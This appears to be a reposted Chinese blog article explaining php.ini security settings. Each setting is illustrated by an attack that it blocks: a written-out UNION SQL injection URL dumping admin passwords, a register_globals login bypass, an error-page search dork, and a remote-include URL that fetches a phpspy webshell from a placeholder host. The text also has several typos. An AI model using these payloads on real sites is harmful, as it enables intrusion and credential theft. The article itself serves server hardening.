浅谈php.ini安全设置
Posted 前端一点红
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈php.ini安全设置相关的知识,希望对你有一定的参考价值。
作为黑客技术爱好者的我,一直以来都被php.ini名目众多的选项给弄的头晕目眩,最近查阅了一些资料,略有收获,下面我就结合自己的经验来谈一下php.ini的安全设置。
一、魔术引号
魔术引号指令一共有三个,但我认为与网站安全息息相关的也就是magic_quotesgpc这一项,当“magic_quotesgpc=On”时,HTTP请求数据(GET、POST和COOKIE)过程中,所有的“‘”(单引号)、“"”(双引号)、“”(反斜线)和NULL字符都会被自动加上一个反斜线进行转义。大家都知道,一般字符型注入的时候都需要用到单引号去闭合程序中的单引号,如果你构造的注入语句中的单引号被转义后,就将无法闭台,在这个注入攻击无所不在的网络时代,这样设置后将会大大减少被攻击的几率。
为了让大家切实感受到打开魔术引号的重要性,我从网上找了一套存在字符型注入漏洞的程序,大家先看一下profile.php的代码:
代码略
变量name没有经过任何过滤就带入了数据库查询,注入漏洞由此产生,构造的注人语句为profile.php?name=‘+UNION+SELECT+1.concat(name,0x7c,password),3,4,5,6,7,a,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23。在magic_quotas_gpc=off时我们成功的暴出了用户名和密码,但当打开魔术引号后则注入失败了。还有一点需要注意,就是即使mag-c—quotes—gpc=0ff不能防止数字型注入,但是只要打开魔术引号,无论是数字型还是字符型注入都无法直接导出Webshell(因为outfile后面的“‘”不可以使用其它函数代替转换)。
二、安全模式
Safe_mode是php非常重要的内嵌的安全机制,当“safe—mode=on”时,会约束system、passthru、exec、shell_exec、popen、phpinfo等大部分函数,使系统可以防御一些不可预料的攻击。
下面我们使用phpspy这款比较流行的php木马来测试一下,当关闭安全模式时,该木马能够利用自带的执行命令功能来执行任意的命令(我的Apache是以system权限运行的),当打开安装。接着,我们再来看一下安全模式对一个号称为新型php一句话cmdshell的木马的影响,其代码如下:
代码略
在安全模式关闭和打开前后的执行结果,一个执行成功了,一个没有执行成功,原因就是在“safe.mode=on”时,不会执行’ ‘中的命令。
三、注册全局变量
如果注册全局变量被打开,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,如果代码编写的不够严谨,这将会对站点构成严重的威胁。这样说可能有点儿太抽象了,我们依然举例说明,代码如下:
代码略
上面的过程可以看做是一个用户验证的流程,如果pass等于hackefiles就给变量auth赋值为true,由于$auth没有在上面代码执行之前初始化,这样只要在“register_globals=on”,也就是注册全局变量打开时,就可以通过GET或POST的方式控制变量auth。我们将上面代码保存为test.php,在浏览器中访问“http://127.1/tcst.php?auth=true”,就能在不知道密码的情况下访问到验证后的页面了。但是当“register_globals=off”时,却显示的是“请输入正确密码!”。因此,我们不能让它注册为全局变量,而要把注册全局变量选项关闭。
四、错误信息
一般php在包含一个不存在的文件或者在没有连接到数据库等情况下会提示错误,通常情况下错误信息中会包含php脚本当前的路径信息或者查询的sql语句等信息,这类信息对于黑客来讲是至关重要的,同时对于我们的网站安全也是致命的。攻击者通过搜索引擎搜索网站的出错信息,就能够获取网站的绝对路径等信息,比如我们在百度中搜索“warning:site:edu.cn inurl:.php”,这些站点的信息就在悄无声息的情况下被我们获取了,所以对于服务器,我建议禁止错误提示:“display_errors=off”,不向客户端返回任何出错信息。
五、远程包含
在php.ini中一共有两个选项和远程包含有关系,其中一个是allow_url_fopen,这个选项会影响include.file_get_contents.fopen等函数。当它关闭时,这些函数将不会处理以“http://”和“ftp://”开头的文件,也就是远程文件,但是我们的网站有时却需要它打开,比如有远程采集的站点一般都要求此选项打开,而且这个选项默认也是打开的,我认为这个就不需要修改了。另外一个是allow_url_include,这个与远程包含息息相关,如果网站存在远程包含漏洞,在加上“allow_url_fopen=On”且“allow_url_include=On”,那么我们就可以包含一个远程文件,也就是我们的webshell。纸上得来终觉浅,我们还是来实践一下吧,代码如下:
代码略
将上面代码保存为inc.php,在allow_url fopen和allow_url_include都打开的情况下,访问“http://127.0.0.1/inc.php?pagc=http://www.xxxx.com/phpspy.txt”,成功获得了webshell。而在allow_url_fopen打开,aUow_url_include关闭的情况下则包含失败了。当然若是二者都关闭,也会包含失败的。
虽然对php.ini的正确设置会在某种程度上提高网站的安全性,但是要想使自己的站点真正的做到固若金汤,还是要靠程序员自己提高安全意识,从根本上来过滤一切有害的输入才行。
以上是关于浅谈php.ini安全设置的主要内容,如果未能解决你的问题,请参考以下文章